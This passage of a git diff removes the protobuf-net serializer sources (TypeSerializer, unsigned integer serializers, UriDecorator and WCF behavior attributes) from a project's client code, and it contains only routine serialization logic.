a/Client/Core/ProtoBuf/Serializers/TypeSerializer.cs +++ /dev/null @@ -1,797 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_COMPILER - -#endif -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TypeSerializer : IProtoTypeSerializer - { - public bool HasCallbacks(TypeModel.CallbackType callbackType) - { - if (callbacks != null && callbacks[callbackType] != null) return true; - for (int i = 0; i < serializers.Length; i++) - { - if (serializers[i].ExpectedType != forType && - ((IProtoTypeSerializer) serializers[i]).HasCallbacks(callbackType)) return true; - } - return false; - } - - private readonly Type forType, constructType; -#if WINRT - private readonly TypeInfo typeInfo; -#endif - - public Type ExpectedType - { - get { return forType; } - } - - private readonly IProtoSerializer[] serializers; - private readonly int[] fieldNumbers; - private readonly bool isRootType, useConstructor, isExtensible, hasConstructor; - private readonly CallbackSet callbacks; - private readonly MethodInfo[] baseCtorCallbacks; - private readonly MethodInfo factory; - - public TypeSerializer(TypeModel model, Type forType, int[] fieldNumbers, IProtoSerializer[] serializers, - MethodInfo[] baseCtorCallbacks, bool isRootType, bool useConstructor, CallbackSet callbacks, - Type constructType, MethodInfo factory) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(fieldNumbers != null); - Helpers.DebugAssert(serializers != null); - Helpers.DebugAssert(fieldNumbers.Length == serializers.Length); - - Helpers.Sort(fieldNumbers, serializers); - bool hasSubTypes = false; - for (int i = 1; i < fieldNumbers.Length; i++) - { - if (fieldNumbers[i] == fieldNumbers[i - 1]) - throw new InvalidOperationException("Duplicate field-number detected; " + - fieldNumbers[i].ToString() + " on: " + forType.FullName); - if (!hasSubTypes && serializers[i].ExpectedType != forType) - { - hasSubTypes = true; - } - } - this.forType = forType; - this.factory = factory; -#if WINRT - this.typeInfo = forType.GetTypeInfo(); -#endif - if (constructType == null) - { - constructType = forType; - } - else - { -#if WINRT - if (!typeInfo.IsAssignableFrom(constructType.GetTypeInfo())) -#else - if (!forType.IsAssignableFrom(constructType)) -#endif - { - throw new InvalidOperationException(forType.FullName + " cannot be assigned from " + - constructType.FullName); - } - } - this.constructType = constructType; - this.serializers = serializers; - this.fieldNumbers = fieldNumbers; - this.callbacks = callbacks; - this.isRootType = isRootType; - this.useConstructor = useConstructor; - - if (baseCtorCallbacks != null && baseCtorCallbacks.Length == 0) baseCtorCallbacks = null; - this.baseCtorCallbacks = baseCtorCallbacks; -#if !NO_GENERICS - if (Helpers.GetUnderlyingType(forType) != null) - { - throw new ArgumentException("Cannot create a TypeSerializer for nullable types", "forType"); - } -#endif - -#if WINRT - if (iextensible.IsAssignableFrom(typeInfo)) - { - if (typeInfo.IsValueType || !isRootType || hasSubTypes) -#else - if (model.MapType(iextensible).IsAssignableFrom(forType)) - { - if (forType.IsValueType || !isRootType || hasSubTypes) -#endif - { - throw new NotSupportedException( - "IExtensible is not supported in structs or classes with inheritance"); - } - isExtensible = true; - } -#if WINRT - TypeInfo constructTypeInfo = constructType.GetTypeInfo(); - hasConstructor = !constructTypeInfo.IsAbstract && Helpers.GetConstructor(constructTypeInfo, Helpers.EmptyTypes, true) != null; -#else - hasConstructor = !constructType.IsAbstract && - Helpers.GetConstructor(constructType, Helpers.EmptyTypes, true) != null; -#endif - if (constructType != forType && useConstructor && !hasConstructor) - { - throw new ArgumentException( - "The supplied default implementation cannot be created: " + constructType.FullName, "constructType"); - } - } - -#if WINRT - private static readonly TypeInfo iextensible = typeof(IExtensible).GetTypeInfo(); -#else - private static readonly System.Type iextensible = typeof (IExtensible); -#endif - - private bool CanHaveInheritance - { - get - { -#if WINRT - return (typeInfo.IsClass || typeInfo.IsInterface) && !typeInfo.IsSealed; -#else - return (forType.IsClass || forType.IsInterface) && !forType.IsSealed; -#endif - } - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return true; - } - -#if !FEAT_IKVM - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return CreateInstance(source, false); - } - - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - if (callbacks != null) InvokeCallback(callbacks[callbackType], value, context); - IProtoTypeSerializer ser = (IProtoTypeSerializer) GetMoreSpecificSerializer(value); - if (ser != null) ser.Callback(value, callbackType, context); - } - - private IProtoSerializer GetMoreSpecificSerializer(object value) - { - if (!CanHaveInheritance) return null; - Type actualType = value.GetType(); - if (actualType == forType) return null; - - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType != forType && Helpers.IsAssignableFrom(ser.ExpectedType, actualType)) - { - return ser; - } - } - if (actualType == constructType) - return null; // needs to be last in case the default concrete type is also a known sub-type - TypeModel.ThrowUnexpectedSubtype(forType, actualType); // might throw (if not a proxy) - return null; - } - - public void Write(object value, ProtoWriter dest) - { - if (isRootType) Callback(value, TypeModel.CallbackType.BeforeSerialize, dest.Context); - // write inheritance first - IProtoSerializer next = GetMoreSpecificSerializer(value); - if (next != null) next.Write(value, dest); - - // write all actual fields - //Helpers.DebugWriteLine(">> Writing fields for " + forType.FullName); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType == forType) - { - //Helpers.DebugWriteLine(": " + ser.ToString()); - ser.Write(value, dest); - } - } - //Helpers.DebugWriteLine("<< Writing fields for " + forType.FullName); - if (isExtensible) ProtoWriter.AppendExtensionData((IExtensible) value, dest); - if (isRootType) Callback(value, TypeModel.CallbackType.AfterSerialize, dest.Context); - } - - public object Read(object value, ProtoReader source) - { - if (isRootType && value != null) - { - Callback(value, TypeModel.CallbackType.BeforeDeserialize, source.Context); - } - int fieldNumber, lastFieldNumber = 0, lastFieldIndex = 0; - bool fieldHandled; - - //Helpers.DebugWriteLine(">> Reading fields for " + forType.FullName); - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - fieldHandled = false; - if (fieldNumber < lastFieldNumber) - { - lastFieldNumber = lastFieldIndex = 0; - } - for (int i = lastFieldIndex; i < fieldNumbers.Length; i++) - { - if (fieldNumbers[i] == fieldNumber) - { - IProtoSerializer ser = serializers[i]; - //Helpers.DebugWriteLine(": " + ser.ToString()); - Type serType = ser.ExpectedType; - if (value == null) - { - if (serType == forType) value = CreateInstance(source, true); - } - else - { - if (serType != forType && ((IProtoTypeSerializer) ser).CanCreateInstance() - && serType -#if WINRT - .GetTypeInfo() -#endif - .IsSubclassOf(value.GetType())) - { - value = ProtoReader.Merge(source, value, - ((IProtoTypeSerializer) ser).CreateInstance(source)); - } - } - - if (ser.ReturnsValue) - { - value = ser.Read(value, source); - } - else - { - // pop - ser.Read(value, source); - } - - lastFieldIndex = i; - lastFieldNumber = fieldNumber; - fieldHandled = true; - break; - } - } - if (!fieldHandled) - { - //Helpers.DebugWriteLine(": [" + fieldNumber + "] (unknown)"); - if (value == null) value = CreateInstance(source, true); - if (isExtensible) - { - source.AppendExtensionData((IExtensible) value); - } - else - { - source.SkipField(); - } - } - } - //Helpers.DebugWriteLine("<< Reading fields for " + forType.FullName); - if (value == null) value = CreateInstance(source, true); - if (isRootType) - { - Callback(value, TypeModel.CallbackType.AfterDeserialize, source.Context); - } - return value; - } - - - private object InvokeCallback(MethodInfo method, object obj, SerializationContext context) - { - object result = null; - object[] args; - if (method != null) - { - // pass in a streaming context if one is needed, else null - bool handled; - ParameterInfo[] parameters = method.GetParameters(); - switch (parameters.Length) - { - case 0: - args = null; - handled = true; - break; - default: - args = new object[parameters.Length]; - handled = true; - for (int i = 0; i < args.Length; i++) - { - object val; - Type paramType = parameters[i].ParameterType; - if (paramType == typeof (SerializationContext)) val = context; - else if (paramType == typeof (System.Type)) val = constructType; -#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0) - else if (paramType == typeof(System.Runtime.Serialization.StreamingContext)) val = (System.Runtime.Serialization.StreamingContext)context; -#endif - else - { - val = null; - handled = false; - } - args[i] = val; - } - break; - } - if (handled) - { - result = method.Invoke(obj, args); - } - else - { - throw Meta.CallbackSet.CreateInvalidCallbackSignature(method); - } - } - return result; - } - - private object CreateInstance(ProtoReader source, bool includeLocalCallback) - { - //Helpers.DebugWriteLine("* creating : " + forType.FullName); - object obj; - if (factory != null) - { - obj = InvokeCallback(factory, null, source.Context); - } - else if (useConstructor) - { - if (!hasConstructor) TypeModel.ThrowCannotCreateInstance(constructType); - obj = Activator.CreateInstance(constructType -#if !CF && !SILVERLIGHT && !WINRT && !PORTABLE - , true -#endif - ); - } - else - { - obj = BclHelpers.GetUninitializedObject(constructType); - } - ProtoReader.NoteObject(obj, source); - if (baseCtorCallbacks != null) - { - for (int i = 0; i < baseCtorCallbacks.Length; i++) - { - InvokeCallback(baseCtorCallbacks[i], obj, source.Context); - } - } - if (includeLocalCallback && callbacks != null) - InvokeCallback(callbacks.BeforeDeserialize, obj, source.Context); - return obj; - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return true; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return false; } - } // updates field directly -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type expected = ExpectedType; - using (Compiler.Local loc = ctx.GetLocalWithValue(expected, valueFrom)) - { - // pre-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeSerialize); - - Compiler.CodeLabel startFields = ctx.DefineLabel(); - // inheritance - if (CanHaveInheritance) - { - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - Type serType = ser.ExpectedType; - if (serType != forType) - { - Compiler.CodeLabel ifMatch = ctx.DefineLabel(), nextTest = ctx.DefineLabel(); - ctx.LoadValue(loc); - ctx.TryCast(serType); - ctx.CopyValue(); - ctx.BranchIfTrue(ifMatch, true); - ctx.DiscardValue(); - ctx.Branch(nextTest, true); - ctx.MarkLabel(ifMatch); - ser.EmitWrite(ctx, null); - ctx.Branch(startFields, false); - ctx.MarkLabel(nextTest); - } - } - - - if (constructType != null && constructType != forType) - { - using(Compiler.Local actualType = new Compiler.Local(ctx, ctx.MapType(typeof(System.Type)))) - { - // would have jumped to "fields" if an expected sub-type, so two options: - // a: *exactly* that type, b: an *unexpected* type - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.CopyValue(); - ctx.StoreValue(actualType); - ctx.LoadValue(forType); - ctx.BranchIfEqual(startFields, true); - - ctx.LoadValue(actualType); - ctx.LoadValue(constructType); - ctx.BranchIfEqual(startFields, true); - } - } - else - { - // would have jumped to "fields" if an expected sub-type, so two options: - // a: *exactly* that type, b: an *unexpected* type - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.LoadValue(forType); - ctx.BranchIfEqual(startFields, true); - } - // unexpected, then... note that this *might* be a proxy, which - // is handled by ThrowUnexpectedSubtype - ctx.LoadValue(forType); - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowUnexpectedSubtype", - BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static)); - - } - // fields - - ctx.MarkLabel(startFields); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType == forType) ser.EmitWrite(ctx, loc); - } - - // extension data - if (isExtensible) - { - ctx.LoadValue(loc); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("AppendExtensionData")); - } - // post-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.AfterSerialize); - } - } - static void EmitInvokeCallback(Compiler.CompilerContext ctx, MethodInfo method, bool copyValue, Type constructType, Type type) - { - if (method != null) - { - if(copyValue) ctx.CopyValue(); // assumes the target is on the stack, and that we want to *retain* it on the stack - ParameterInfo[] parameters = method.GetParameters(); - bool handled = true; - - for (int i = 0; i < parameters.Length; i++) - { - Type parameterType = parameters[0].ParameterType; - if (parameterType == ctx.MapType(typeof(SerializationContext))) - { - ctx.LoadSerializationContext(); - } - else if (parameterType == ctx.MapType(typeof(System.Type))) - { - Type tmp = constructType; - if (tmp == null) tmp = type; // no ?? in some C# profiles - ctx.LoadValue(tmp); - } -#if PLAT_BINARYFORMATTER - else if (parameterType == ctx.MapType(typeof(System.Runtime.Serialization.StreamingContext))) - { - ctx.LoadSerializationContext(); - MethodInfo op = ctx.MapType(typeof(SerializationContext)).GetMethod("op_Implicit", new Type[] { ctx.MapType(typeof(SerializationContext)) }); - if (op != null) - { // it isn't always! (framework versions, etc) - ctx.EmitCall(op); - handled = true; - } - } -#endif - else - { - handled = false; - } - } - if (handled) - { - ctx.EmitCall(method); - if (constructType != null) - { - if (method.ReturnType == ctx.MapType(typeof(object))) - { - ctx.CastFromObject(type); - } - } - } - else - { - throw Meta.CallbackSet.CreateInvalidCallbackSignature(method); - } - } - } - private void EmitCallbackIfNeeded(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) { - Helpers.DebugAssert(valueFrom != null); - if (isRootType && ((IProtoTypeSerializer)this).HasCallbacks(callbackType)) - { - ((IProtoTypeSerializer)this).EmitCallback(ctx, valueFrom, callbackType); - } - } - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - bool actuallyHasInheritance = false; - if (CanHaveInheritance) - { - - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType != forType && ((IProtoTypeSerializer)ser).HasCallbacks(callbackType)) - { - actuallyHasInheritance = true; - } - } - } - - Helpers.DebugAssert(((IProtoTypeSerializer)this).HasCallbacks(callbackType), "Shouldn't be calling this if there is nothing to do"); - MethodInfo method = callbacks == null ? null : callbacks[callbackType]; - if(method == null && !actuallyHasInheritance) - { - return; - } - ctx.LoadAddress(valueFrom, ExpectedType); - EmitInvokeCallback(ctx, method, actuallyHasInheritance, null, forType); - - if (actuallyHasInheritance) - { - Compiler.CodeLabel @break = ctx.DefineLabel(); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - IProtoTypeSerializer typeser; - Type serType = ser.ExpectedType; - if (serType != forType && - (typeser = (IProtoTypeSerializer) ser).HasCallbacks(callbackType)) - { - Compiler.CodeLabel ifMatch = ctx.DefineLabel(), nextTest = ctx.DefineLabel(); - ctx.CopyValue(); - ctx.TryCast(serType); - ctx.CopyValue(); - ctx.BranchIfTrue(ifMatch, true); - ctx.DiscardValue(); - ctx.Branch(nextTest, false); - ctx.MarkLabel(ifMatch); - typeser.EmitCallback(ctx, null, callbackType); - ctx.Branch(@break, false); - ctx.MarkLabel(nextTest); - } - } - ctx.MarkLabel(@break); - ctx.DiscardValue(); - } - } - - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type expected = ExpectedType; - Helpers.DebugAssert(valueFrom != null); - - using (Compiler.Local loc = ctx.GetLocalWithValue(expected, valueFrom)) - using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - // pre-callbacks - if (HasCallbacks(TypeModel.CallbackType.BeforeDeserialize)) - { - if(ExpectedType.IsValueType) - { - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeDeserialize); - } - else - { // could be null - Compiler.CodeLabel callbacksDone = ctx.DefineLabel(); - ctx.LoadValue(loc); - ctx.BranchIfFalse(callbacksDone, false); - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeDeserialize); - ctx.MarkLabel(callbacksDone); - } - } - - Compiler.CodeLabel @continue = ctx.DefineLabel(), processField = ctx.DefineLabel(); - ctx.Branch(@continue, false); - - ctx.MarkLabel(processField); - foreach (BasicList.Group group in BasicList.GetContiguousGroups(fieldNumbers, serializers)) - { - Compiler.CodeLabel tryNextField = ctx.DefineLabel(); - int groupItemCount = group.Items.Count; - if (groupItemCount == 1) - { - // discreet group; use an equality test - ctx.LoadValue(fieldNumber); - ctx.LoadValue(group.First); - Compiler.CodeLabel processThisField = ctx.DefineLabel(); - ctx.BranchIfEqual(processThisField, true); - ctx.Branch(tryNextField, false); - WriteFieldHandler(ctx, expected, loc, processThisField, @continue, (IProtoSerializer)group.Items[0]); - } - else - { // implement as a jump-table-based switch - ctx.LoadValue(fieldNumber); - ctx.LoadValue(group.First); - ctx.Subtract(); // jump-tables are zero-based - Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount]; - for (int i = 0; i < groupItemCount; i++) { - jmp[i] = ctx.DefineLabel(); - } - ctx.Switch(jmp); - // write the default... - ctx.Branch(tryNextField, false); - for (int i = 0; i < groupItemCount; i++) - { - WriteFieldHandler(ctx, expected, loc, jmp[i], @continue, (IProtoSerializer)group.Items[i]); - } - } - ctx.MarkLabel(tryNextField); - } - - EmitCreateIfNull(ctx, loc); - ctx.LoadReaderWriter(); - if (isExtensible) - { - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendExtensionData")); - } - else - { - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); - } - - ctx.MarkLabel(@continue); - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); - ctx.CopyValue(); - ctx.StoreValue(fieldNumber); - ctx.LoadValue(0); - ctx.BranchIfGreater(processField, false); - - EmitCreateIfNull(ctx, loc); - // post-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.AfterDeserialize); - - if (valueFrom != null && !loc.IsSame(valueFrom)) - { - ctx.LoadValue(loc); - ctx.Cast(valueFrom.Type); - ctx.StoreValue(valueFrom); - } - } - } - - private void WriteFieldHandler( - Compiler.CompilerContext ctx, Type expected, Compiler.Local loc, - Compiler.CodeLabel handler, Compiler.CodeLabel @continue, IProtoSerializer serializer) - { - ctx.MarkLabel(handler); - Type serType = serializer.ExpectedType; - if (serType == forType) { - EmitCreateIfNull(ctx, loc); - serializer.EmitRead(ctx, loc); - } - else { - //RuntimeTypeModel rtm = (RuntimeTypeModel)ctx.Model; - if (((IProtoTypeSerializer)serializer).CanCreateInstance()) - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - - ctx.LoadValue(loc); - ctx.BranchIfFalse(allDone, false); // null is always ok - - ctx.LoadValue(loc); - ctx.TryCast(serType); - ctx.BranchIfTrue(allDone, false); // not null, but of the correct type - - // otherwise, need to convert it - ctx.LoadReaderWriter(); - ctx.LoadValue(loc); - ((IProtoTypeSerializer)serializer).EmitCreateInstance(ctx); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("Merge")); - ctx.Cast(expected); - ctx.StoreValue(loc); // Merge always returns a value - - // nothing needs doing - ctx.MarkLabel(allDone); - } - ctx.LoadValue(loc); - ctx.Cast(serType); - serializer.EmitRead(ctx, null); - - } - - if (serializer.ReturnsValue) - { // update the variable - ctx.StoreValue(loc); - } - ctx.Branch(@continue, false); // "continue" - } - - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - // different ways of creating a new instance - bool callNoteObject = true; - if (factory != null) - { - EmitInvokeCallback(ctx, factory, false, constructType, forType); - } - else if (!useConstructor) - { // DataContractSerializer style - ctx.LoadValue(constructType); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("GetUninitializedObject")); - ctx.Cast(forType); - } - else if (constructType.IsClass && hasConstructor) - { // XmlSerializer style - ctx.EmitCtor(constructType); - } - else - { - ctx.LoadValue(ExpectedType); - ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowCannotCreateInstance", - BindingFlags.Static | BindingFlags.Public)); - ctx.LoadNullRef(); - callNoteObject = false; - } - if (callNoteObject) - { - // track root object creation - ctx.CopyValue(); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("NoteObject", - BindingFlags.Static | BindingFlags.Public)); - } - if (baseCtorCallbacks != null) - { - for (int i = 0; i < baseCtorCallbacks.Length; i++) - { - EmitInvokeCallback(ctx, baseCtorCallbacks[i], true, null, forType); - } - } - } - private void EmitCreateIfNull(Compiler.CompilerContext ctx, Compiler.Local storage) - { - Helpers.DebugAssert(storage != null); - if (!ExpectedType.IsValueType) - { - Compiler.CodeLabel afterNullCheck = ctx.DefineLabel(); - ctx.LoadValue(storage); - ctx.BranchIfTrue(afterNullCheck, false); - - ((IProtoTypeSerializer)this).EmitCreateInstance(ctx); - - if (callbacks != null) EmitInvokeCallback(ctx, callbacks.BeforeDeserialize, true, null, forType); - ctx.StoreValue(storage); - ctx.MarkLabel(afterNullCheck); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/UInt16Serializer.cs b/Client/Core/ProtoBuf/Serializers/UInt16Serializer.cs deleted file mode 100644 index cf4ccfbf..00000000 --- a/Client/Core/ProtoBuf/Serializers/UInt16Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal class UInt16Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (ushort); -#endif - - public UInt16Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(ushort)); -#endif - } - - public virtual Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public virtual object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt16(); - } - - public virtual void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt16((ushort) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt16", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt16", ctx.MapType(typeof(ushort))); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/UInt32Serializer.cs b/Client/Core/ProtoBuf/Serializers/UInt32Serializer.cs deleted file mode 100644 index f3af9961..00000000 --- a/Client/Core/ProtoBuf/Serializers/UInt32Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UInt32Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (uint); -#endif - - public UInt32Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(uint)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt32(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt32((uint) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt32", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt32", ctx.MapType(typeof(uint))); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/UInt64Serializer.cs b/Client/Core/ProtoBuf/Serializers/UInt64Serializer.cs deleted file mode 100644 index f90d6f67..00000000 --- a/Client/Core/ProtoBuf/Serializers/UInt64Serializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UInt64Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (ulong); -#endif - - public UInt64Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(ulong)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt64(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt64((ulong) value, dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt64", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt64", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/UriDecorator.cs b/Client/Core/ProtoBuf/Serializers/UriDecorator.cs deleted file mode 100644 index ab583c84..00000000 --- a/Client/Core/ProtoBuf/Serializers/UriDecorator.cs +++ /dev/null @@ -1,84 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UriDecorator : ProtoDecoratorBase - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (Uri); -#endif - - public UriDecorator(ProtoBuf.Meta.TypeModel model, IProtoSerializer tail) : base(tail) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(Uri)); -#endif - } - - public override Type ExpectedType - { - get { return expectedType; } - } - - public override bool RequiresOldValue - { - get { return false; } - } - - public override bool ReturnsValue - { - get { return true; } - } - - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Tail.Write(((Uri) value).AbsoluteUri, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // not expecting incoming - string s = (string) Tail.Read(null, source); - return s.Length == 0 ? null : new Uri(s); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.LoadValue(typeof(Uri).GetProperty("AbsoluteUri")); - Tail.EmitWrite(ctx, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Tail.EmitRead(ctx, valueFrom); - ctx.CopyValue(); - Compiler.CodeLabel @nonEmpty = ctx.DefineLabel(), @end = ctx.DefineLabel(); - ctx.LoadValue(typeof(string).GetProperty("Length")); - ctx.BranchIfTrue(@nonEmpty, true); - ctx.DiscardValue(); - ctx.LoadNullRef(); - ctx.Branch(@end, true); - ctx.MarkLabel(@nonEmpty); - ctx.EmitCtor(ctx.MapType(typeof(Uri)), ctx.MapType(typeof(string))); - ctx.MarkLabel(@end); - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs b/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs deleted file mode 100644 index 45114b51..00000000 --- a/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs +++ /dev/null @@ -1,35 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Uses protocol buffer serialization on the specified operation; note that this - /// must be enabled on both the client and server. - /// - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] - public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior - { - void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) - { } - - void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation) - { - IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); - innerBehavior.ApplyClientBehavior(operationDescription, clientOperation); - } - - void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation) - { - IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); - innerBehavior.ApplyDispatchBehavior(operationDescription, dispatchOperation); - } - - void IOperationBehavior.Validate(OperationDescription operationDescription) - { } - } -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs b/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs deleted file mode 100644 index cd3cd9b1..00000000 --- a/Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs +++ /dev/null @@ -1,42 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System; -using 